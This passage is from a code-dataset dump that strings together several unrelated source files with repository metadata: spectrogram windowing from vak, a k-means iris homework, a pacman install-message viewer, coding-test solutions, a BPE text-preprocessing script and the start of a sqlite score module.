np.where(np.cumsum(num_potential_ignored_data_bins[segment_ind]) >= num_bins_to_crop)[0][0]\n bins_to_ignore = np.array([], dtype=int)\n for cnt in range(last_ind):\n if border_onsets[segment_ind[cnt]]: # remove silences at file onsets\n bins_to_ignore = np.concatenate([bins_to_ignore,\n np.arange(unlabeled_onsets[segment_ind[cnt]],\n unlabeled_offsets[segment_ind[cnt]] - 1)])\n elif border_offsets[segment_ind[cnt]]: # remove silences at file offsets\n bins_to_ignore = np.concatenate([bins_to_ignore,\n np.arange(unlabeled_onsets[segment_ind[cnt]] + 1,\n unlabeled_offsets[segment_ind[cnt]])])\n else: # remove silences within the files\n bins_to_ignore = np.concatenate([bins_to_ignore,\n np.arange(unlabeled_onsets[segment_ind[cnt]] + 1,\n unlabeled_offsets[segment_ind[cnt]] - 1)])\n left_to_crop = num_bins_to_crop - sum(num_potential_ignored_data_bins[segment_ind[:last_ind]])-border_onsets[segment_ind[last_ind]]*window_size\n if border_onsets[segment_ind[last_ind]]:\n bins_to_ignore = np.concatenate([bins_to_ignore,\n np.arange(unlabeled_onsets[segment_ind[last_ind]],\n unlabeled_onsets[segment_ind[last_ind]] + left_to_crop)])\n elif border_offsets[segment_ind[last_ind]]:\n if left_to_crop < num_potential_ignored_data_bins[segment_ind[last_ind]] - window_size:\n bins_to_ignore = np.concatenate([bins_to_ignore,\n np.arange(unlabeled_onsets[segment_ind[last_ind]] + 1,\n unlabeled_onsets[segment_ind[last_ind]] + left_to_crop)])\n else:\n bins_to_ignore = np.concatenate([bins_to_ignore,\n np.arange(unlabeled_onsets[segment_ind[last_ind]] + 1,\n unlabeled_onsets[segment_ind[last_ind]] + left_to_crop - window_size)])\n else:\n bins_to_ignore = np.concatenate([bins_to_ignore,\n np.arange(unlabeled_onsets[segment_ind[last_ind]] + 1,\n unlabeled_onsets[segment_ind[last_ind]] + left_to_crop)])\n \n x_inds[bins_to_ignore] = WindowDataset.INVALID_WINDOW_VAL\n \n # we may still need to crop. Try doing it from the beginning of the dataset\n if crop_more > 0: # This addition can lead to imprecision but only in cases where we ask for very small datasets\n if crop_more > sum(x_inds != WindowDataset.INVALID_WINDOW_VAL):\n raise ValueError(\n \"was not able to crop spect vectors to specified duration \"\n \"in a way that maintained all classes in dataset\"\n )\n extra_bins = x_inds[x_inds != WindowDataset.INVALID_WINDOW_VAL][:crop_more]\n bins_to_ignore = np.concatenate([bins_to_ignore, extra_bins])\n x_inds[bins_to_ignore] = WindowDataset.INVALID_WINDOW_VAL\n\n if np.array_equal(np.unique(lbl_tb[np.setdiff1d(np.arange(len(lbl_tb)), bins_to_ignore)]), classes):\n return spect_id_vector, spect_inds_vector, x_inds\n\n raise ValueError(\n \"was not able to crop spect vectors to specified duration \"\n \"in a way that maintained all classes in dataset\"\n )\n\n @staticmethod\n def n_time_bins_spect(spect_path, spect_key='s'):\n \"\"\"get number of time bins in a spectrogram,\n given a path to the array file containing that spectrogram\n\n Parameters\n ----------\n spect_path : str, pathlib.Path\n path to an array file containing a spectrogram and associated arrays.\n spect_key : str\n key to access spectograms in array files. Default is 's'.\n\n Returns\n -------\n spect.shape[-1], the number of time bins in the spectrogram.\n Assumes spectrogram is a 2-d matrix where rows are frequency bins,\n and columns are time bins.\n \"\"\"\n spect = files.spect.load(spect_path)[spect_key]\n return spect.shape[-1]\n\n @staticmethod\n def spect_vectors_from_df(df,\n window_size,\n spect_key='s',\n timebins_key='t',\n crop_dur=None,\n timebin_dur=None,\n labelmap=None,\n ):\n \"\"\"get spect_id_vector and spect_ind_vector from a dataframe\n that represents a dataset of vocalizations.\n See WindowDataset class docstring for\n detailed explanation of these vectors.\n\n Parameters\n ----------\n df : pandas.DataFrame\n that represents a dataset of vocalizations.\n window_size : int\n number of time bins in windows that will be taken from spectrograms\n spect_key : str\n key to access spectograms in array files. Default is 's'.\n timebins_key : str\n key to access time bin vector in array files. Default is 't'.\n crop_dur : float\n duration to which dataset should be \"cropped\". Default is None,\n in which case entire duration of specified split will be used.\n timebin_dur : float\n duration of a single time bin in spectrograms. Default is None.\n Used when \"cropping\" dataset with crop_dur and required if a\n value is specified for that parameter.\n labelmap : dict\n that maps labels from dataset to a series of consecutive integers.\n To create a label map, pass a set of labels to the `vak.utils.labels.to_map` function.\n Used when \"cropping\" dataset with crop_dur and required if a\n value is specified for that parameter.\n\n Returns\n -------\n spect_id_vector : numpy.ndarray\n represents the 'id' of any spectrogram,\n i.e., the index into spect_paths that will let us load it\n spect_inds_vector : numpy.ndarray\n valid indices of windows we can grab from each spectrogram\n x_inds_updated : numpy.ndarray\n x_inds_vector with starting indices of windows that are invalid\n after the cropping now set to WindowDataset.INVALID_WINDOW_VAL\n so they will be removed\n \"\"\"\n if crop_dur is not None and timebin_dur is None:\n raise ValueError(\n 'must provide timebin_dur when specifying crop_dur'\n )\n\n if crop_dur is not None and labelmap is None:\n raise ValueError(\n 'must provide labelmap when specifying crop_dur'\n )\n\n if crop_dur is not None and timebin_dur is not None:\n crop_to_dur = True\n crop_dur = float(crop_dur)\n timebin_dur = float(timebin_dur)\n annots = annotation.from_df(df)\n if 'unlabeled' in labelmap:\n unlabeled_label = labelmap['unlabeled']\n else:\n # if there is no \"unlabeled label\" (e.g., because all segments have labels)\n # just assign dummy value that will end up getting replaced by actual labels by label_timebins()\n unlabeled_label = 0\n else:\n crop_to_dur = False\n\n spect_paths = df['spect_path'].values\n\n spect_id_vector = []\n spect_inds_vector = []\n x_inds = []\n total_tb = 0\n\n if crop_to_dur:\n lbl_tb = []\n spect_annot_map = annotation.source_annot_map(spect_paths, annots)\n for ind, (spect_path, annot) in enumerate(spect_annot_map.items()):\n spect_dict = files.spect.load(spect_path)\n n_tb_spect = spect_dict[spect_key].shape[-1]\n\n spect_id_vector.append(np.ones((n_tb_spect,), dtype=np.int64) * ind)\n spect_inds_vector.append(np.arange(n_tb_spect))\n\n valid_x_inds = np.arange(total_tb, total_tb + n_tb_spect)\n last_valid_window_ind = total_tb + n_tb_spect - window_size\n valid_x_inds[valid_x_inds > last_valid_window_ind] = WindowDataset.INVALID_WINDOW_VAL\n x_inds.append(valid_x_inds)\n\n total_tb += n_tb_spect\n\n lbls_int = [labelmap[lbl] for lbl in annot.seq.labels]\n timebins = spect_dict[timebins_key]\n lbl_tb.append(labeled_timebins.label_timebins(lbls_int,\n annot.seq.onsets_s,\n annot.seq.offsets_s,\n timebins,\n unlabeled_label=unlabeled_label))\n\n spect_id_vector = np.concatenate(spect_id_vector)\n spect_inds_vector = np.concatenate(spect_inds_vector)\n lbl_tb = np.concatenate(lbl_tb)\n x_inds = np.concatenate(x_inds)\n\n (spect_id_vector,\n spect_inds_vector,\n x_inds) = WindowDataset.crop_spect_vectors_keep_classes(lbl_tb,\n spect_id_vector,\n spect_inds_vector,\n x_inds,\n crop_dur,\n timebin_dur,\n labelmap,\n window_size)\n\n else: # crop_to_dur is False\n for ind, spect_path in enumerate(spect_paths):\n n_tb_spect = WindowDataset.n_time_bins_spect(spect_path, spect_key)\n\n spect_id_vector.append(np.ones((n_tb_spect,), dtype=np.int64) * ind)\n spect_inds_vector.append(np.arange(n_tb_spect))\n\n valid_x_inds = np.arange(total_tb, total_tb + n_tb_spect)\n last_valid_window_ind = total_tb + n_tb_spect - window_size\n valid_x_inds[valid_x_inds > last_valid_window_ind] = WindowDataset.INVALID_WINDOW_VAL\n x_inds.append(valid_x_inds)\n\n total_tb += n_tb_spect\n\n spect_id_vector = np.concatenate(spect_id_vector)\n spect_inds_vector = np.concatenate(spect_inds_vector)\n x_inds = np.concatenate(x_inds)\n\n x_inds = x_inds[x_inds != WindowDataset.INVALID_WINDOW_VAL]\n return spect_id_vector, spect_inds_vector, x_inds\n\n @staticmethod\n def spect_vectors_from_csv(csv_path,\n split,\n window_size,\n spect_key='s',\n timebins_key='t',\n crop_dur=None,\n timebin_dur=None,\n labelmap=None):\n \"\"\"get spect_id_vector and spect_ind_vector from a\n .csv file that represents a dataset of vocalizations.\n See WindowDataset class docstring for\n detailed explanation of these vectors.\n\n Parameters\n ----------\n csv_path : str, Path\n path to csv that represents dataset.\n split : str\n name of split from dataset to use\n window_size : int\n number of time bins in windows that will be taken from spectrograms\n spect_key : str\n key to access spectograms in array files. Default is 's'.\n timebins_key : str\n key to access time bin vector in array files. Default is 't'.\n labelmap : dict\n that maps labels from dataset to a series of consecutive integers.\n To create a label map, pass a set of labels to the `vak.utils.labels.to_map` function.\n crop_dur : float\n duration to which dataset should be \"cropped\". Default is None,\n in which case entire duration of specified split will be used.\n timebin_dur : float\n duration of a single time bin in spectrograms. Default is None.\n Used when \"cropping\" dataset with crop_dur and required if a\n value is specified for that parameter.\n\n Returns\n -------\n spect_id_vector : numpy.ndarray\n represents the 'id' of any spectrogram,\n i.e., the index into spect_paths that will let us load it\n spect_inds_vector : numpy.ndarray\n valid indices of windows we can grab from each spectrogram\n x_inds_updated : numpy.ndarray\n x_inds_vector with starting indices of windows that are invalid\n after the cropping now set to WindowDataset.INVALID_WINDOW_VAL\n so they will be removed\n \"\"\"\n df = pd.read_csv(csv_path)\n\n if not df['split'].str.contains(split).any():\n raise ValueError(\n f'split {split} not found in dataset in csv: {csv_path}'\n )\n else:\n df = df[df['split'] == split]\n\n return WindowDataset.spect_vectors_from_df(df,\n window_size,\n spect_key,\n timebins_key,\n crop_dur,\n timebin_dur,\n labelmap)\n\n @classmethod\n def from_csv(cls,\n csv_path,\n split,\n labelmap,\n window_size,\n spect_key='s',\n timebins_key='t',\n spect_id_vector=None,\n spect_inds_vector=None,\n x_inds=None,\n transform=None,\n target_transform=None):\n \"\"\"given a path to a csv representing a dataset,\n returns an initialized WindowDataset.\n\n Parameters\n ----------\n csv_path : str, Path\n path to csv that represents dataset.\n split : str\n name of split from dataset to use\n labelmap : dict\n that maps labels from dataset to a series of consecutive integers.\n To create a label map, pass a set of labels to the `vak.utils.labels.to_map` function.\n window_size : int\n number of time bins in windows that will be taken from spectrograms\n spect_key : str\n key to access spectograms in array files. Default is 's'.\n timebins_key : str\n key to access time bin vector in array files. Default is 't'.\n spect_id_vector : numpy.ndarray\n represents the 'id' of any spectrogram,\n i.e., the index into spect_paths that will let us load it\n spect_inds_vector : numpy.ndarray\n valid indices of windows we can grab from each spectrogram\n x_inds : numpy.ndarray\n indices of each window in the dataset. The value at x[0]\n represents the start index of the first window; using that\n value, we can index into spect_id_vector to get the path\n of the spectrogram file to load, and we can index into\n spect_inds_vector to index into the spectrogram itself\n and get the window.\n transform : callable\n A function/transform that takes in a numpy array\n and returns a transformed version. E.g, a SpectScaler instance.\n Default is None.\n target_transform : callable\n A function/transform that takes in the target and transforms it.\n\n Returns\n -------\n initialized instance of WindowDataset\n \"\"\"\n if any([vec is not None for vec in [spect_id_vector, spect_inds_vector, x_inds]]):\n if not all([vec is not None for vec in [spect_id_vector, spect_inds_vector, x_inds]]):\n\n raise ValueError(\n 'if any of the following parameters are specified, they all must be specified: '\n 'spect_id_vector, spect_inds_vector, x_inds'\n )\n\n if all([vec is not None for vec in [spect_id_vector, spect_inds_vector, x_inds]]):\n for vec_name, vec in zip(['spect_id_vector', 'spect_inds_vector', 'x_inds'],\n [spect_id_vector, spect_inds_vector, x_inds]):\n if not type(vec) is np.ndarray:\n raise TypeError(\n f'{vec_name} must be a numpy.ndarray but type was: {type(spect_id_vector)}'\n )\n\n spect_id_vector = validation.column_or_1d(spect_id_vector)\n spect_inds_vector = validation.column_or_1d(spect_inds_vector)\n x_inds = validation.column_or_1d(x_inds)\n\n if spect_id_vector.shape[-1] != spect_inds_vector.shape[-1]:\n raise ValueError(\n 'spect_id_vector and spect_inds_vector should be same length, but '\n f'spect_id_vector.shape[-1] is {spect_id_vector.shape[-1]} and '\n f'spect_inds_vector.shape[-1] is {spect_inds_vector.shape[-1]}.'\n )\n\n df = pd.read_csv(csv_path)\n if not df['split'].str.contains(split).any():\n raise ValueError(\n f'split {split} not found in dataset in csv: {csv_path}'\n )\n else:\n df = df[df['split'] == split]\n spect_paths = df['spect_path'].values\n\n if all([vec is None for vec in [spect_id_vector, spect_inds_vector, x_inds]]):\n # see Notes in class docstring to understand what these vectors do\n spect_id_vector, spect_inds_vector, x_inds = cls.spect_vectors_from_df(df, window_size)\n\n annots = annotation.from_df(df)\n timebin_dur = io.dataframe.validate_and_get_timebin_dur(df)\n\n # note that we set \"root\" to csv path\n return cls(csv_path,\n x_inds,\n spect_id_vector,\n spect_inds_vector,\n spect_paths,\n annots,\n labelmap,\n timebin_dur,\n window_size,\n spect_key,\n timebins_key,\n transform,\n target_transform\n )\n","repo_name":"Tubbz-alt/vak","sub_path":"src/vak/datasets/window_dataset.py","file_name":"window_dataset.py","file_ext":"py","file_size_in_byte":37859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"81"} +{"seq_id":"37239423364","text":"import numpy as np\nimport pandas as pd\nimport math\nfrom math import sqrt\nimport time\nimport random\n\n#Use your own folder when testing\niris_df = pd.read_csv('D:/HWData/iris.csv')\n \ndef getEucilidDistance(flower1, flower2):\n if flower1 == None or flower2 == None:\n return float(\"inf\")\n result = 0\n for i in range(len(flower1)-1):\n result += (flower1[i]-flower2[i])**2;\n result = sqrt(result);\n return result\n\ndef getCosineDistance(flower1, flower2):\n if flower1 == None or flower2 == None:\n return 0\n result = 0\n flower1SquareSum = 0\n flower2SquareSum = 0\n for i in range(len(flower1)-1):\n result += flower1[i]*flower2[i]\n flower1SquareSum += flower1[i]**2\n flower2SquareSum += flower2[i]**2\n return result/sqrt(flower1SquareSum*flower2SquareSum)\n\ndef getJaccardDistance(flower1, flower2):\n if flower1 == None or flower2 == None:\n return 1\n minSum = 0\n maxSum = 0\n for i in range(len(flower1)-1):\n if(flower1[i] minDistance):\n minDistance = d\n minDistanceIndex = i\n elif(distance_func != getCosineDistance and d < minDistance):\n minDistance = d\n minDistanceIndex = i\n return minDistanceIndex\ndef createEmptyListOfLists(numSubLists):\n result=[]\n for i in range(numSubLists):\n result.append([])\n return result\n\ndef assignAll(instances, centroids, distance_func):\n clusters = createEmptyListOfLists(len(centroids))\n for instance in instances:\n clusterIndex = assign(instance, centroids, distance_func)\n clusters[clusterIndex].append(instance)\n return clusters\n\ndef getNewCentroids(clusters):\n centroids=[]\n for i in range(len(clusters)):\n centroid = getNewCentroid(clusters[i])\n centroids.append(centroid)\n return centroids\ndef getNewCentroid(cluster):\n if (len(cluster) == 0):\n return\n num = len(cluster[0])\n result = [0]*num\n for instance in cluster:\n for i in range(0,num-1):\n result[i]+=instance[i]\n for i in range(0,num-1):\n result[i]/= float(len(cluster))\n return tuple(result)\n\ndef computeWithinss(clusters, centroids, distance_func):\n result = 0\n for i in range(len(centroids)):\n centroid = centroids[i]\n cluster = clusters[i]\n for instance in cluster:\n result += distance_func(centroid, instance)\n return result\ndef getAccuracy(clusters):\n result = [0, 0, 0]\n total_correct = 0\n total = 0\n for i in range(len(clusters)):\n result = [0,0,0]\n for j in range(len(clusters[i])):\n if clusters[i][j][4] == 'Iris-setosa':\n result[0] +=1\n elif clusters[i][j][4] == 'Iris-versicolor':\n result[1] +=1\n elif clusters[i][j][4] == 'Iris-virginica':\n result[2] +=1\n currmax = result[0]\n if(result[1]>currmax):\n currmax = result[1]\n if(result[2]>currmax):\n currmax = result[2]\n total += len(clusters[i])\n total_correct += currmax\n return total_correct/total\n\ndef kmeans(instances, k, distance_func, termination, iteration_limit):\n start = time.time()\n result={}\n random.seed(time.time())\n #get random starting centroids\n centroids = random.sample(instances, k)\n prevCentroids=[]\n prevSSE = -2\n currSSE = -1\n iter = 0\n if(termination == 'no_change'):\n currState = centroids\n prevState = prevCentroids\n elif(termination == 'SSE_increse'):\n currState = currSSE\n prevState = prevSSE\n elif(termination == 'preset_value'):\n currState = iter\n prevState = iteration_limit\n else:\n currState = centroids\n prevState = prevCentroids\n while(prevState != currState):\n #change iteration to compare with preset_value\n iter+=1\n clusters=assignAll(instances, centroids, distance_func)\n prevCentroids = centroids\n centroids = getNewCentroids(clusters)\n prevSSE = currSSE\n currSSE = computeWithinss(clusters, centroids, distance_func)\n if(termination == 'no_change'):\n currState = centroids\n prevState = prevCentroids\n elif(termination == 'SSE_increse'):\n if(prevSSE != -1):\n if(currSSE >= prevSSE and distance_func!=getCosineDistance):\n break\n elif(currSSE <= prevSSE and distance_func==getCosineDistance):\n break\n elif(termination == 'preset_value'):\n currState = iter\n prevState = iteration_limit\n else:\n currState = centroids\n prevState = prevCentroids\n end = time.time()\n result[\"clusters\"] = clusters\n result[\"centroids\"] = centroids\n result[\"sse\"] = currSSE\n result[\"accuracy\"] = getAccuracy(clusters)\n result[\"time\"]=end-start\n result[\"iter\"]=iter\n return result\n#Q1################################################################################\nprint('Q1')\nclustering1 = kmeans(iris_df.values.tolist(), 3, getEucilidDistance, 'no_change', 0)\nclustering2 = kmeans(iris_df.values.tolist(), 3, getCosineDistance, 'no_change', 0)\nclustering3 = kmeans(iris_df.values.tolist(), 3, getJaccardDistance, 'no_change', 0)\nprint('Euc_sse',clustering1[\"sse\"])\nprint('Cos_sse',clustering2[\"sse\"])\nprint('Jar_sse',clustering3[\"sse\"])\n# #Q2################################################################################\nprint('Q2')\nprint('Euc_accuracy',clustering1[\"accuracy\"])\nprint('Cos_accuracy',clustering2[\"accuracy\"])\nprint('Jar_accuracy',clustering3[\"accuracy\"])\n# #Q3################################################################################\nprint('Q3')\nprint('Euc_iter',clustering1[\"iter\"])\nprint('Cos_iter',clustering2[\"iter\"])\nprint('Jar_iter',clustering3[\"iter\"])\n \nprint('Euc_time',clustering1[\"time\"])\nprint('Cos_time',clustering2[\"time\"])\nprint('Jar_time',clustering3[\"time\"])\n# #Q4################################################################################\nprint('Q4')\nclustering1 = kmeans(iris_df.values.tolist(), 3, getEucilidDistance, 'SSE_increse', 0)\nclustering2 = kmeans(iris_df.values.tolist(), 3, getCosineDistance, 'SSE_increse', 0)\nclustering3 = kmeans(iris_df.values.tolist(), 3, getJaccardDistance, 'SSE_increse', 0)\n \nprint('Euc_iter',clustering1[\"iter\"])\nprint('Cos_iter',clustering2[\"iter\"])\nprint('Jar_iter',clustering3[\"iter\"])\n \nprint('Euc_time',clustering1[\"time\"])\nprint('Cos_time',clustering2[\"time\"])\nprint('Jar_time',clustering3[\"time\"])\n \nclustering1 = kmeans(iris_df.values.tolist(), 3, getEucilidDistance, 'preset_value', 100)\nclustering2 = kmeans(iris_df.values.tolist(), 3, getCosineDistance, 'preset_value', 100)\nclustering3 = kmeans(iris_df.values.tolist(), 3, getJaccardDistance, 'preset_value', 100)\n \nprint('Euc_time',clustering1[\"time\"])\nprint('Cos_time',clustering2[\"time\"])\nprint('Jar_time',clustering3[\"time\"])\n\n\n\n\n","repo_name":"shenyang0111ucf/MachineLearningHW","sub_path":"hw4.py","file_name":"hw4.py","file_ext":"py","file_size_in_byte":7424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"22458416744","text":"from __future__ import division, absolute_import, print_function\nfrom sys import argv\nfrom glob import glob\nfrom re import sub\nfrom os.path import join, basename\nfrom subprocess import check_call, CalledProcessError\n\n\ndef main():\n path = '/var/lib/pacman/local/'\n found = False\n for name in argv[1:]:\n packages = glob(join(path, name + '*'))\n for package in packages:\n stem = sub(r'-\\d+(\\.\\d+)*', '', package)\n if basename(stem) == name:\n install = join(package, 'install')\n try:\n check_call(['less', '-F', '-X', '-R', install])\n except CalledProcessError:\n print('Failed to view {}'.format(package))\n found = True\n break\n else:\n print('Failed to find {}'.format(name))\n if not found:\n exit(1)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"NoviceLive/unish","sub_path":"py/pkgmsg.py","file_name":"pkgmsg.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"81"} +{"seq_id":"32710759946","text":"from collections import defaultdict\nfrom itertools import combinations\n\ndef init_dictionary(clothes):\n init_dict = {}\n\n for clothe in clothes:\n init_dict[clothe[1]] = 0\n return init_dict\n\n# 마지막 답지 확인\ndef solution(clothes):\n dic = defaultdict(list)\n \n for clothe in clothes:\n dic[clothe[1]].append(clothe[0])\n\n # value를 list형태로 다시 만듦\n clothe_list = []\n for key,value in dic.items():\n clothe_list.append(value);\n print(clothe_list)\n \n result = 1\n\n for value in clothe_list:\n result *= (len(value)+1)\n\n \n return result -1\n\nprint(solution([[\"yellow_hat\", \"headgear\"], [\"blue_sunglasses\", \"eyewear\"], [\"green_turban\", \"headgear\"]]))\nprint(solution([[\"crow_mask\", \"face\"], [\"blue_sunglasses\", \"face\"], [\"smoky_makeup\", \"face\"]]))","repo_name":"yec3168/algorithm","sub_path":"programmers/lv_2/의상(답지 확인).py","file_name":"의상(답지 확인).py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"37200399454","text":"# -*- coding: utf-8 -*-\r\nclass Question :\r\n ## Constructs a question with empty question and answer strings.\r\n #\r\n def __init__(self) :\r\n self._text = \"\"\r\n self._answer = \"\"\r\n \r\n ## Sets the question text.\r\n # @param questionText the text of this question\r\n #\r\n def setText(self, questionText) :\r\n self._text = questionText\r\n \r\n ## Sets the answer for this question.\r\n # @param correctResponse the answer\r\n #\r\n def setAnswer(self, correctResponse) :\r\n self._answer = correctResponse\r\n \r\n ## Checks a given response for correctness.\r\n # @param response the response to check\r\n # @return True if the response was correct, False otherwise\r\n #\r\n def checkAnswer(self, response) :\r\n return response == self._answer\r\n \r\n ## Displays this question.\r\n #\r\n def display(self) :\r\n print(self._text)\r\n\r\nclass NumericQuestion(Question) :\r\n # Creating an own constructor for the subclass NumericQuestion\r\n def __init__(self) :\r\n super().__init__() \r\n\r\n def checkAnswer(self, response):\r\n # converts answer and response to float\r\n # Checks if difference between answer and response is less than 0.01\r\n # Returns Correct if difference is less, false otherwise\r\n try:\r\n dif = abs(float(self._answer) - float(response))\r\n if float(\"{0:.10f}\".format(dif)) <= 0.01:\r\n return print(\"Correct\")\r\n else:\r\n return print(\"False\")\r\n except: \r\n raise ValueError(\"The answer must be a number.\") # Error if not possible\r\n def setAnswer(self, correctResponse) :\r\n try:\r\n self._answer = float(correctResponse) # tries to convert answer fo float\r\n except: \r\n raise ValueError(\"The answer must be a number.\") # Error if not possible\r\n\r\n# Testing\r\nq = NumericQuestion()\r\nq.setText(\"What is the value of pi?\") # creating question text\r\nq.setAnswer(3.1415926) #Sets answer\r\nq.display() #Displays question, uses method from superclass\r\nq.checkAnswer(3.14) #Since answer is less than 0.01 from true answer, correct is expected\r\nprint(\"Correct was expected, since difference is less than 0.01\")\r\n\r\nq2 = NumericQuestion()\r\nq2.setText(\"What is the value of pi?\") # creating question text\r\nq2.setAnswer(3.1415926) #Sets answer\r\nq2.display() #Displays question, uses method from superclass\r\nq2.checkAnswer(3.13) #Since answer is more than 0.01 from true answer, false is expected\r\nprint(\"False was expected, since difference is more than 0.01\")\r\n\r\nq3 = NumericQuestion()\r\nq3.setText(\"What is the value of pi?\") # creating question text\r\nq3.setAnswer(\"3.1415926\") #Sets answer as string, but its able to convert numbers inside string\r\nq3.display() #Displays question, uses method from superclass\r\nq3.checkAnswer(3.14) #Since answer is less than 0.01 from true answer, correct is expected\r\nprint(\"Correct was expected, since float function is able to convert numbers inside string\")\r\n\r\nq4 = NumericQuestion()\r\nq4.setText(\"What is the value of pi?\") # creating question text\r\nq4.setAnswer(3.1415926) #Sets answer\r\nq4.display() #Displays question, uses method from superclass\r\nprint(\"Error message informing that it must be a number is expected, since its a non numeric string\")\r\nq4.checkAnswer(\"Error\") #Error message since its a non numeric strig\r\n","repo_name":"S1713450/GRA4152","sub_path":"P10_1.py","file_name":"P10_1.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"43830749202","text":"import os\nimport sys\nfrom kmer_cluster import KmerCluster\n\nsf_high_freq=sys.argv[1]\nsf_all_kmer=sys.argv[2]\nk=21\nedit_distance=1\nn_round=int(sys.argv[3])\nsf_select_high_freq=sys.argv[4]\n\nkmcluster=KmerCluster(sf_high_freq, sf_all_kmer, k, edit_distance, n_round)\nkmcluster.select_high_freq_kmers(True, sf_select_high_freq)\nkmcluster.cluster_kmers()\n","repo_name":"simoncchu/REPdenovo-MEI","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"34955077976","text":"def solution(clothes):\n answer = 1\n closet = {clothes[i][1]:0 for i in range(len(clothes))}\n for i in clothes:\n closet[i[1]] += 1\n\n for i in closet.values():\n # 해당 종류를 착용하지 않는 경우가 존재하므로 i에 +1 해줌\n answer *= (i+1)\n\n return answer-1","repo_name":"thals7/Programmers","sub_path":"Level2/위장.py","file_name":"위장.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"2495496434","text":"import sys, os\nsys.path.append(os.pardir)\nfrom data_helpers import BPE\n\n#=======================All Preprocessing====================\n\n# load data\nimport numpy as np\nimport pandas as pd\ntrain_data_source = '../../char-level-cnn/data/ag_news_csv/train.csv'\ntest_data_source = '../../char-level-cnn/data/ag_news_csv/test.csv'\ntrain_df = pd.read_csv(train_data_source, header=None)\ntest_df = pd.read_csv(test_data_source, header=None)\n\n# concatenate column 1 and column 2 as one text\nfor df in [train_df, test_df]:\n df[1] = df[1] + df[2]\n df = df.drop([2], axis=1)\n \n# convert string to lower case \ntrain_texts = train_df[1].values \ntrain_texts = [s.lower() for s in train_texts]\ntest_texts = test_df[1].values \ntest_texts = [s.lower() for s in test_texts]\n\n# replace all digits with 0\nimport re\ntrain_texts = [re.sub('\\d', '0', s) for s in train_texts]\ntest_texts = [re.sub('\\d', '0', s) for s in test_texts]\n\n# replace all URLs with \nurl_reg = r'(https|http)?:\\/\\/(\\w|\\.|\\/|\\?|\\=|\\&|\\%)*\\b'\ntrain_texts = [re.sub(url_reg, '', s) for s in train_texts]\ntest_texts = [re.sub(url_reg, '', s) for s in test_texts]\n\n# Convert string to subword, this process may take several minutes\nbpe = BPE(\"../pre-trained-model/en.wiki.bpe.op25000.vocab\")\ntrain_texts = [bpe.encode(s) for s in train_texts]\ntest_texts = [bpe.encode(s) for s in test_texts]\n\n# Build vocab, {token: index}\nvocab = {}\nfor i, token in enumerate(bpe.words):\n vocab[token] = i + 1\n \n# Convert subword to index, function version \ndef subword2index(texts, vocab):\n sentences = []\n for s in texts:\n s = s.split()\n one_line = []\n for word in s:\n if word not in vocab.keys():\n one_line.append(vocab['unk'])\n else:\n one_line.append(vocab[word])\n sentences.append(one_line)\n return sentences\n\n# Convert train and test \ntrain_sentences = subword2index(train_texts, vocab)\ntest_sentences = subword2index(test_texts, vocab)\n\n# Padding\nfrom keras.preprocessing.sequence import pad_sequences\ntrain_data = pad_sequences(train_sentences, maxlen=1014, padding='post')\ntest_data = pad_sequences(test_sentences, maxlen=1014, padding='post')\n\n# Convert to numpy array\ntrain_data = np.array(train_data)\ntest_data = np.array(test_data)\n\n#=======================Get classes================\ntrain_classes = train_df[0].values\ntrain_class_list = [x-1 for x in train_classes]\ntest_classes = test_df[0].values\ntest_class_list = [x-1 for x in test_classes]\n\nfrom keras.utils import to_categorical\ntrain_classes = to_categorical(train_class_list)\ntest_classes = to_categorical(test_class_list)\n\n\n# Save \ndata_dir = '../preprocessed_dataset.npz'\nnp.savez(data_dir, x_train=train_data, y_train=train_classes, x_test=test_data, y_test=test_classes)\n# # This file is very big, 519.6MB","repo_name":"BrambleXu/nlp-beginner-guide-keras","sub_path":"subword-level/notebooks/save_preprocessed_data.py","file_name":"save_preprocessed_data.py","file_ext":"py","file_size_in_byte":2831,"program_lang":"python","lang":"en","doc_type":"code","stars":152,"dataset":"github-code","pt":"81"} +{"seq_id":"36641164764","text":"import sqlite3\nimport datetime\nfrom kivy.logger import Logger\n\nDB_FILE = \"db/scores.sqlite\"\n\nCARDS_EXERCISE_TABLE_SQL = \"\"\"\n CREATE TABLE IF NOT EXISTS {table_name} (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n date DATE DEFAULT CURRENT_TIMESTAMP,\n level INTEGER NOT NULL,\n score INTEGER NOT NULL\n )\n\"\"\"\n\nINSERT_SCORE_OF_CARDS_GAME_SQL = \"INSERT INTO {table} (date, level, score) VALUES ('{date}', {level}, {score})\"\n\nGET_BEST_SQL = \"SELECT date, min(score) FROM {t} WHERE level={l}\"\n\nGET_RECENT_SQL = \"SELECT date, score FROM {t} WHERE level={l} ORDER BY date DESC LIMIT {c}\"\n\n\nclass ResultEntry():\n \"\"\"Klasa reprezentująca pojedyńczy wpis wyniku z tabeli\"\"\"\n\n NO_RESULT = \"---\"\n\n def __init__(self, dt, sc):\n \"\"\"\n dt - data i czas\n sc - wynik w sekundach\n valid - flaga, czy poprzednie dane są prawdziwe. Jeśli False, wszystkie pola wyniku zostaną ustawione na NO_RESULT\n \"\"\"\n if dt is None:\n self.date = self.NO_RESULT\n self.time = self.NO_RESULT\n else:\n # Przetworzenie daty\n dtime = datetime.datetime.strptime(dt, \"%Y-%m-%d %H:%M:%S\")\n\n # Wyłuskanie potrzebnych pól\n self.date = dtime.date().isoformat()\n self.time = dtime.time().strftime(\"%H:%M\")\n\n if sc is None:\n self.score = self.NO_RESULT\n\n else:\n self.score = self._convert_to_clock(sc)\n\n def _convert_to_clock(self, sc):\n \"\"\"Konwersja liczby sekund do takiego napisu, jaki się wyświetla na zegarku cyfrowym\"\"\"\n return 